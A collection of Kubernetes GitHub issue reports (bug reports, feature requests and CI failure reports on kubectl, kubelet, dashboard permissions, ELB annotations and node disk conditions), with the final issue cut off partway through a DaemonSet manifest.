<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r   kubectl version\r 2017-07-14 00:22:33.842797 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-07-14 00:22:33.843078 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-07-14 00:22:33.843115 i | proto: duplicate proto type registered: google.protobuf.timestamp\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-1+e3085e7e4f4022\ , gitcommit:\ e3085e7e4f40227fe2ca0edb80099551058a3a5d\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t06:01:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-1+e3085e7e4f4022\ , gitcommit:\ e3085e7e4f40227fe2ca0edb80099551058a3a5d\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t06:01:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what you expected to happen  :\r running kubectl command without those warnings printed out to stderr.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run any kubectl command.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when you start up a v1.8.2 cluster on gce with the default  kube-up.sh  script, the dashboard add-on is installed by default, but it uses the  kube-system:default  service account, which has no permissions.\r \r this leads to errors like the following when you load the dashboard:\r \r    \r configmaps is forbidden: user \ system:serviceaccount:kube-system:default\  cannot list configmaps in the namespace \ default\ \r    \r \r   what you expected to happen  :\r \r any of:\r \r 1. dashboard should be given sufficient permissions as part of default cluster startup.\r 2. user should be given instructions to complete dashboard add-on setup by granting permissions after cluster startup.\r 3. dashboard add-on should not be enabled by default with an incomplete configuration.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r download v1.8.2 archive.\r \r    shell\r cluster/get-kube-binaries.sh\r cluster/kube-up.sh\r kubectl proxy\r    \r \r open http://localhost:8001/ui\r \r   anything else we need to know?  :\r \r as explained on https://github.com/kubernetes/dashboard/issues/1800, fixing this is not in the scope of the dashboard project itself. the dashboard works fine once you complete the setup process by granting the necessary permissions. the problem is that the default  kube-up.sh  script leaves you with an incomplete setup.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:  cluster/kube-up.sh \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r in kubeletconfig api validation test, it is incomplete about  enforcenodeallocatable , see: \r https://github.com/kubernetes/kubernetes/blob/2d64ce5e8e45e26b02492d2b6c85e5ebfb1e4761/pkg/kubelet/apis/kubeletconfig/validation/validation_test.go l29\r and \r https://github.com/kubernetes/kubernetes/blob/2d64ce5e8e45e26b02492d2b6c85e5ebfb1e4761/pkg/kubelet/apis/kubeletconfig/validation/validation_test.go l57\r   what you expected to happen  :\r need validate all possible values for  enforcenodeallocatable .\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i upgraded a kubernetes cluster with an existing 1.10 node to 1.12. from there on the kubelet didn't start any containers. pods got scheduled and then went into the  matchnodeselector  status\r \r   what you expected to happen  : \r \r the kubelet to start containers\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a kubeadm 1.12 cluster, join a node with a 1.10 kubelet\r \r \r   anything else we need to know?  :\r \r bisecting revealed the patch that fixes this in the kubelet is b1a7f85c9e90ef84c51cd173a16e42ce2560fe35 which got introduced in  62453\r \r cc @k82cn as you wrote the fixing patch\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r 

not sure where to report this,\r \r    \r options\r <<<<<<< head ======= >>>>>>> generate copmonents and tools reference\r <<<<<<< head ======= >>>>>>> generate copmonents and tools reference\r    \r on https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/ -- looks like an incorrect merge, near the top of the document\r \r is there a docs repo or is this the right place?  i couldn't find this issue in the master branch, so i'm not sure where the docs are actually generated from.\r \r @kubernetes/sig-docs

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : sig-release-1.11-blocking\r \r   which test s  are failing  :   sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 5 pods to 3 pods and from 3 to 1 and verify decision stabilitychanges\r \r   since when has it been failing  : lots of flakes over a long time\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gce-cos-1.11-serial&width=20\r \r   reason for failure  : unknown\r \r \r @kubernetes/sig-autoscaling-bugs\r

the definition of  minage  in container gc:      // minimum age at which a container can be garbage collected, zero for no limit. minage time.duration      it determines a container's age by looking at its \ created\  time. even if a container has just died, as long as the container was created  minage  before, it would be eligible to be gc'd. this seems arbitrary to me. what we should be looking at is \ how long since the container died\ , so that other components in kubelet has a chance to look at the dead container before it's gc'd.  /cc @vishh @pwittrock

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/22841/  failed:  k8s.io  kubectl client  k8s.io  kubectl apply should apply a new configuration to an existing rc {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 sep  4 21:42:33.434: couldn't delete ns: \ e2e-tests-kubectl-cglzw\ : namespace e2e-tests-kubectl-cglzw was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed  &errors.errorstring{s:\ namespace e2e-tests-kubectl-cglzw was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338      previous issues for this test:  27524

use-case: a job or pod that needs to set timeouts in various points in its lifecycle. for example, a deployer pod that has a global timeout to finish its work and various steps need to use a timeout too.\r \r deployer pod with a timeout of 10 minutes:\r 1. scales down old replica sets for a deployment\r 2. waits for all pods to be terminated\r 3. executes  something \r 4. scales up new replica set\r \r the wait part in the second step needs a timeout of  10m -  time.now - podstarttime  . the only way to achieve this currently is to use a pod client in the pod and query the api server.\r \r cc: @mfojtik @pmorie

35647 introduced a non-backwards compatible change in kubectl and uses the server version to fallback on the old behavior.  @smarterclayton noted that using the server version to drive client behavior is not acceptable because the server version may not be published, or there may be federated servers with different versions.\r \r we need to work out a solution, which may include rolling back parts of the original change.

is this a bug report or feature request?    choose one :\r enhancement/cleanup\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   description  :\r it's better to add golint check for  pkg/kubelet , e.g. checking comments, naming.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r when making a regular rollback action to a deployment, i happend to make the deployment name in url a wrong one, that is, the deployment in request url is different from that in request body, however, i still get a response of success:\r \r _curl http ://127.0.0.1:8080/apis/extensions/v1beta1/namespaces/default/deployments/  compare-deployment  /rollback -x post -d '{\ kind\ : \ deploymentrollback\ , \ apiversion\ : \ extensions/v1beta1\ , \ name\ : \   nginx-deployment  \ , \ rollbackto\ : {\ revision\ : 1}}' -h \ accept: application/json,  / \  -h \ content-type: application/json\ \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ success\ ,\r   \ message\ : \ rollback request for deployment \\\ nginx-deployment\\\  succeeded\ ,\r   \ code\ : 200\r }_\r \r   what you expected to happen  :\r get a failure response that remind me the error\r \r   anything else we need to know?  :\r i tried to fix the issue by adding corresponding judgement in validation, but found that i could not get data in request url when it goes to validation logic.\r \r adding the judgement to addmision-controller might be a possible way, but i did not find proper position to place it in existing addminsions.\r \r adding a new addmision just for the judgement seems improper either.\r \r so, any ideas about the issue?\r

use of the controllerrevision object by the statefulset and daemonset controllers places strategic merge patch content in the revision data.\r \r to successfully make use of this data, a client must know the data represents a patch, and what type of patch, in order to successfully apply it to roll back.\r \r the nature of the data and the type of patch should be explicit in the object.\r \r  /cc @kow3ns

failing jobs  \r \r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster

 \r it would be nice if responses for admission webhooks had a third option:   allow with warning  .\r that would allow users to finish their task  creation, update, etc  but would print a warning.\r \r   use case  \r sometimes a configuration is not an error itself, but along with other configurations might lead to a \ runtime error\ . that could be on purpose or could be a mistake. accepting the configuration and printing a warning would let the user know about the consequences.\r \r so, users implementing an admission webhook could return an  admissionresponse  with   allowed: true  and some message in  result.message . currently this  result  field is ignored if  allowed  is true. we could use this field for that purpose. if it's non-empty, print it anyway to the user.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r defined the nginx ingress controller service like so:\r \r    \r ---\r kind: service\r apiversion: v1\r metadata:\r   name: ingress-nginx\r   namespace: ingress-nginx\r   labels:\r     app.kubernetes.io/name: ingress-nginx\r     app.kubernetes.io/part-of: ingress-nginx\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-ssl-cert: '...'\r     service.beta.kubernetes.io/aws-load-balancer-ssl-ports: 'https'\r     service.beta.kubernetes.io/aws-load-balancer-backend-protocol: 'http'\r     service.beta.kubernetes.io/aws-load-balancer-access-log-enabled: true\r     service.beta.kubernetes.io/aws-load-balancer-access-log-emit-interval: 5\r     service.beta.kubernetes.io/aws-load-balancer-access-log-s3-bucket-name: 'my-bucket'\r     service.beta.kubernetes.io/aws-load-balancer-access-log-s3-bucket-prefix: 'ingress-elb'\r spec:\r   type: loadbalancer\r   selector:\r     app.kubernetes.io/name: ingress-nginx\r   ports:\r   - name: http\r     port: 80\r     targetport: http\r   - name: https\r     port: 443\r     targetport: http\r    \r \r   what you expected to happen  :\r \r a new elb with tls certificate on port 443, no tls certificate on port 80, and access logs sent to s3 bucket \ my-bucket\ .\r \r the load balancer is created, tls certificate is attached as expected, no access logging is configured. furthermore, changing the annotations and re-applying the spec has non-deterministic results. i removed the annotations regarding the logging setup, and the tls certificate was eventually removed from my load balancer. i had to destroy it and re-create it for it to exist again.\r \r i am also unable to confirm whether or not the annotations are actually created. listing the service with either  kubectl get service -n ingress-nginx ingress-nginx -o json  or  kubectl describe service  shows only one annotation,  kubectl.kubernetes.io/last-applied-configuration .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a service with the above annotations, observe that no logging is set up.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:16z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : osx\r - kernel  e.g.  uname -a  : 16.7.0\r - install tools: kops\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when trying to add fsgroup tests to the csi drivers, the  test is failing  https://github.com/kubernetes/kubernetes/pull/68025 issuecomment-433536769 \r \r   what you expected to happen  :\r fsgroup should be set for supported drivers\r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

\ next steps\  roadmap  post-installation-&-examples info : need to provide a high-level, general path that applies to all users for moving forward with k8s  ie. install and example done, now what? .  examples: - you created a cluster on a single node, see how to scale to meet your production needs:   - point to creating more nodes, clusters   - sharing cluster access   - security, etc. - now you can set up:   - configuration management tools?   - networking, security, performance related configuration?   - migrate to production? -> mention and point to the \ planning and design considerations\

api.podstatus  is used by many kubelet components and functions. currently these components and functions retrieve  api.podstatus  by different means: - from status manager. get status from status manager is very quick, but _the status may not have been populated and cached_ yet. - from pod status cache and convert it to  api.podstatus . get status from pod status cache is very quick, but status can't be got before until first  relist . - from runtime with  getpodstatus    function and convert it to  api.podstatus .get status directly from runtime is slow, but it's more accurate. - from  api.pod  from apiserver. get status from  api.pod  can help us recover status after kubelet restarts. but it is usually not very accurate, we should avoid that unless we have no other choice.  these different means are used in different places in kubelet, which makes the code complex and confusing. we should orgnize them better, for example add a higher layer status get function.

problem: the following codes just hang and never returns         clientset, err := kubernetes.newforconfig config   pods, err := clientset.core  .pods \ \  .list api.listoptions{watch:true}       while codes like:      watch, err := clientset.core  .pods \ \  .watch api.listoptions{}       work as expected. imho,  the first use is kind of misleading.  <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-slow/10388/  failed:  k8s.io  pods should have their auto-restart back-off timer reset on image update  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:604 oct 27 19:18:24.456: timed out waiting for container restart in pod=pod-back-off-image/back-off /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:598      previous issues for this test:  27360  28096  29615  31775

currently we only show ready/notready, but there are several node conditions that affect schedulability and we don't show any of them  e.g. networkunavailable . we do show schedulingdisabled but that's talking about something different. my suggestion would be to change ready/notready to ready/notschedulable/notready  and keep schedulingdisabled .  notschedulable would be set when ready is true but one of the conditions that prevent scheduling is also true. \r

today kubelet relies on docker daemon to control the lifecycle of a container; when docker daemon is restarted, all running containers have to be restarted. this is not acceptable behavior for many services, especially high-availability ones since docker daemon could  be crash, or upgraded. we need to figure out how to fix such issue if docker couldn't.   we talked about this offline many times, and file this issue  to ensure we don't forget about this. cc/ @thockin

hi all. i'm new to posting issues in open source world, so feel free to let me know if you require additional information.\r \r i am using kubernetes 1.5.6 on coreos 1185.3.0  worker nodes . the problem is that my pods are showing outofdisk at the same time as the corresponding nodes are showing as ready. i would expect the kubeletoutofdisk message to cause the node to become not ready. \r \r to provide some background, the authentication certificates  ca, worker, apiserver  expired on this tst cluster which was deployed and was not put on the operations' team schedule to rotate the keys. during this kubernetes downtime period, the disks filled with logs and looping failed attempts to connect. during the time when the certificates were not valid, the nodes were in a not ready status. when the certificates were updated, the nodes entered a ready status. however, at that time, they were out of disk. therefore, i would also expect a node with a kubeletoutofdisk message to not be permitted to change to a ready status.\r \r i have proved that i am able to terminate the old instances, and launch new, healthy, ready instances with my updated launch configuration, and pods are successfully scheduled to them. this is absolutely an acceptable workaround from our perspective.\r \r i don't want to show all of the pods, but a redacted example is as follows.\r    shell\r $ kc get po -o wide --all-namespaces\r namespace     name                                                 ready     status              restarts   age       ip            node\r default         api-tst-h7l0b                                  4/4       running             23         21h       10.2.26.3     ip-10-0-70-199.ec2.internal\r default         cron-tst-j8nzp                                 0/3       outofdisk           0          21h       <none>        ip-10-0-71-28.ec2.internal\r kube-system   heapster-9mmtj                                       0/1       outofdisk           0          2h        <none>        ip-10-0-71-28.ec2.internal\r kube-system   heapster-x7x61                                       0/1       imagepullbackoff    0          2h        10.2.107.9    ip-10-0-72-86.ec2.internal\r kube-system   influxdb-grafana-7686v                               0/2       outofdisk           0          2h        <none>        ip-10-0-71-28.ec2.internal\r kube-system   influxdb-grafana-w3qkg                               2/2       running             0          2h        10.2.26.6     ip-10-0-70-199.ec2.internal\r kube-system   kube-apiserver-ip-10-0-70-50.ec2.internal            1/1       running             0          2h        10.0.70.50    ip-10-0-70-50.ec2.internal\r kube-system   kube-controller-manager-ip-10-0-70-50.ec2.internal   1/1       running             1          12d       10.0.70.50    ip-10-0-70-50.ec2.internal\r kube-system   kube-dns-v19-3ptxw                                   2/3       running             41         2h        10.2.107.6    ip-10-0-72-86.ec2.internal\r kube-system   kube-dns-v9-zdrxg                                    3/4       crashloopbackoff    45         21h       10.2.107.5    ip-10-0-72-86.ec2.internal\r kube-system   kube-podmaster-ip-10-0-70-50.ec2.internal            2/2       running             2          12d       10.0.70.50    ip-10-0-70-50.ec2.internal\r kube-system   kube-proxy-ip-10-0-70-199.ec2.internal               1/1       running             0          2h        10.0.70.199   ip-10-0-70-199.ec2.internal\r kube-system   kube-proxy-ip-10-0-70-219.ec2.internal               0/1       terminating         0          12d       <none>        ip-10-0-70-219.ec2.internal\r kube-system   kube-proxy-ip-10-0-70-50.ec2.internal                1/1       running             1          12d       10.0.70.50    ip-10-0-70-50.ec2.internal\r kube-system   kube-proxy-ip-10-0-70-68.ec2.internal                1/1       running             0          1h        10.0.70.68    ip-10-0-70-68.ec2.internal\r kube-system   kube-proxy-ip-10-0-71-101.ec2.internal               1/1       running             0          2h        10.0.71.101   ip-10-0-71-101.ec2.internal\r kube-system   kube-proxy-ip-10-0-71-205.ec2.internal               1/1       running             0          2h        10.0.71.205   ip-10-0-71-205.ec2.internal\r kube-system   kube-proxy-ip-10-0-71-28.ec2.internal                0/1       outofdisk           0          2h        <none>        ip-10-0-71-28.ec2.internal\r kube-system   kube-proxy-ip-10-0-72-160.ec2.internal               1/1       running             0          1h        10.0.72.160   ip-10-0-72-160.ec2.internal\r kube-system   kube-proxy-ip-10-0-72-34.ec2.internal                1/1       running             0          1h        10.0.72.34    ip-10-0-72-34.ec2.internal\r kube-system   kube-proxy-ip-10-0-72-86.ec2.internal                1/1       running             0          2h        10.0.72.86    ip-10-0-72-86.ec2.internal\r kube-system   kube-scheduler-ip-10-0-70-50.ec2.internal            1/1       running             1          12d       10.0.70.50    ip-10-0-70-50.ec2.internal\r kube-system   kubernetes-dashboard-1655269645-3x37z                0/1       outofdisk           0          2h        <none>        ip-10-0-71-28.ec2.internal\r kube-system   kubernetes-dashboard-1655269645-rk1vq                0/1       crashloopbackoff    27         2h        10.2.107.10   ip-10-0-72-86.ec2.internal\r    \r \r the nodes are all ready, as follows.\r    shell\r $ kc get no\r name                          status                     age       version\r ip-10-0-70-199.ec2.internal   ready                      12d       v1.5.6+coreos.0\r ip-10-0-70-219.ec2.internal   ready                      12d       v1.5.6+coreos.0\r ip-10-0-70-50.ec2.internal    ready,schedulingdisabled   12d       v1.5.6+coreos.0\r ip-10-0-70-68.ec2.internal    ready                      12d       v1.5.6+coreos.0\r ip-10-0-71-101.ec2.internal   ready                      27d       v1.5.6+coreos.0\r ip-10-0-71-205.ec2.internal   ready                      12d       v1.5.6+coreos.0\r ip-10-0-71-28.ec2.internal    ready                      2h        v1.5.6+coreos.0\r ip-10-0-72-160.ec2.internal   ready                      12d       v1.5.6+coreos.0\r ip-10-0-72-34.ec2.internal    ready                      1h        v1.5.6+coreos.0\r ip-10-0-72-86.ec2.internal    ready                      12d       v1.5.6+coreos.0\r    \r \r when on the ec2 instance, i am observing that i am indeed out of disk.\r    shell\r ip-10-0-71-28 ~   df -h /\r filesystem      size  used avail use% mounted on\r /dev/xvda9      5.5g  5.3g     0 100% /\r    \r \r when describing the node, it has the kubeletoutofdisk error. providing all of the information in case this is helpful. this not is ready in the describe nodes output above.\r    shell\r $ kc describe no ip-10-0-71-28.ec2.internal\r name:                   ip-10-0-71-28.ec2.internal\r role:\r labels:                 beta.kubernetes.io/arch=amd64\r                         beta.kubernetes.io/instance-type=m4.xlarge\r                         beta.kubernetes.io/os=linux\r                         failure-domain.beta.kubernetes.io/region=us-east-1\r                         failure-domain.beta.kubernetes.io/zone=us-east-1a\r                         kubernetes.io/hostname=ip-10-0-71-28.ec2.internal\r annotations:            volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:                 <none>\r creationtimestamp:      wed, 14 jun 2017 09:37:56 -0400\r phase:\r conditions:\r   type                  status  lastheartbeattime                       lasttransitiontime                      reason                          message\r   ----                  ------  -----------------                       ------------------                      ------                          -------\r   outofdisk             true    wed, 14 jun 2017 12:13:58 -0400         wed, 14 jun 2017 09:42:46 -0400         kubeletoutofdisk                out of disk space\r   memorypressure        false   wed, 14 jun 2017 12:13:58 -0400         wed, 14 jun 2017 09:37:56 -0400         kubelethassufficientmemory      kubelet has sufficient memory available\r   diskpressure          false   wed, 14 jun 2017 12:13:58 -0400         wed, 14 jun 2017 09:37:56 -0400         kubelethasnodiskpressure        kubelet has no disk pressure\r   ready                 true    wed, 14 jun 2017 12:13:58 -0400         wed, 14 jun 2017 10:15:11 -0400         kubeletready                    kubelet is posting ready status\r addresses:              10.0.71.28,10.0.71.28,ip-10-0-71-28.ec2.internal\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:        0\r  cpu:                                   4\r  memory:                                16436000ki\r  pods:                                  110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:        0\r  cpu:                                   4\r  memory:                                16436000ki\r  pods:                                  110\r system info:\r  machine id:                    8e025a21a4254e11b028584d9d8b12c4\r  system uuid:                   ec2e1996-2992-1139-8be6-43c747fd305b\r  boot id:                       baaab89b-b1aa-4621-9b03-83ad61140036\r  kernel version:                4.7.3-coreos-r2\r  os image:                      coreos 1185.3.0  moreos \r  operating system:              linux\r  architecture:                  amd64\r  container runtime version:     docker://1.11.2\r  kubelet version:               v1.5.6+coreos.0\r  kube-proxy version:            v1.5.6+coreos.0\r externalid:                     i-04a6e341cdedb0b54\r non-terminated pods:             0 in total \r   namespace                     name            cpu requests    cpu limits      memory requests memory limits\r   ---------                     ----            ------------    ----------      --------------- -------------\r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits      memory requests memory limits\r   ------------  ----------      --------------- -------------\r   0  0%         0  0%           0  0%           0  0% \r events:\r   firstseen     lastseen        count   from                                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                                    -------------   --------        ------                  -------\r   1h            4m              23      kubelet, ip-10-0-71-28.ec2.internal                     warning         freediskspacefailed     failed to garbage collect required amount of images. wanted to free 1168666624, but freed 0\r   1h            4m              23      kubelet, ip-10-0-71-28.ec2.internal                     warning         imagegcfailed           failed to garbage collect required amount of images. wanted to free 1168666624, but freed 0\r    \r \r thanks

failure cluster  2a5ab861c1de4ade5f12  https://go.k8s.io/triage 2a5ab861c1de4ade5f12        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:865 expected error:     < errors.errorstring | 0xc420ee4980>: {         s: \ error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config create -f - --namespace=e2e-tests-kubectl-gq3dz      0xc420d18180      <nil> <nil> <nil> <nil> <nil> false  0xc42064c538 0xc42064c560 0xc42064c570   0xc42064c538 0xc42064c560 0xc42064c570   0xc42064c540 0xc42064c558 0xc42064c568   0x976000 0x976100 0x976100  <nil> <nil>}:\ command stdout:\ \ stderr:\ \ error:\ fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory\ \ ,     }     error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config create -f - --namespace=e2e-tests-kubectl-gq3dz      0xc420d18180      <nil> <nil> <nil> <nil> <nil> false  0xc42064c538 0xc42064c560 0xc42064c570   0xc42064c538 0xc42064c560 0xc42064c570   0xc42064c540 0xc42064c558 0xc42064c568   0x976000 0x976100 0x976100  <nil> <nil>}:     command stdout:          stderr:          error:     fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2087           failure cluster statistics: 17 tests failed,    28 jobs failed,    381 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  kubectl logs should be able to retrieve and filter logs  conformance  | 28 | |  k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy | 28 | |  k8s.io  kubectl client  k8s.io  simple pod should support port-forward | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew | 24 |  11 jul 2017 16:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew/761  | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/423  | | ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew/427  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | jlowdermilk |  k8s.io  kubectl client  k8s.io  kubectl logs should be able to retrieve and filter logs  conformance  | | ncdc |  k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy;  k8s.io  kubectl client  k8s.io  simple pod should support port-forward;  k8s.io  kubectl client  k8s.io  simple pod should support exec | | sttts |  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance ;  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance ;  k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance  | | sig/cli |  k8s.io  kubectl client  k8s.io  kubectl logs should be able to retrieve and filter logs  conformance ;  k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy;  k8s.io  kubectl client  k8s.io  simple pod should support port-forward |  </details><br>   current status  https://go.k8s.io/triage 2a5ab861c1de4ade5f12

is this a bug report or feature request?  :\r \r  \r   what happened  :\r the pods are stuck in  crashloopbackoff  with this error:\r \r    \r failed to open log file \ /var/log/pods/3f68b784-7e57-11e7-979c-42010af000e6/hivemp-elasticsearch-nodeconfig_15.log\ : open /var/log/pods/3f68b784-7e57-11e7-979c-42010af000e6/hivemp-elasticsearch-nodeconfig_15.log: no such file or directory\r    \r \r   what you expected to happen  :\r i expect the pods to start.\r \r   how to reproduce it  as minimally and precisely as possible   :\r running this daemon set on a gce cluster on  1.7.3   both master and nodes :\r    \r   please edit the object below. lines beginning with a ' ' will be ignored,\r   and an empty file will abort the edit. if an error occurs while saving this file will be\r   reopened with the relevant failures.\r  \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ daemonset\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ component\ :\ hivemp-elasticsearch\ ,\ role\ :\ nodeconfig\ },\ name\ :\ hivemp-elasticsearch-nodeconfig\ ,\ namespace\ :\ default\ },\ spec\ :{\ template\ :{\ metadata\ :{\ labels\ :{\ name\ :\ hivemp-elasticsearch-nodeconfig\ }},\ spec\ :{\ containers\ : {\ command\ : \ bash\ ,\ -c\ ,\ sysctl -w vm.max_map_count=262144 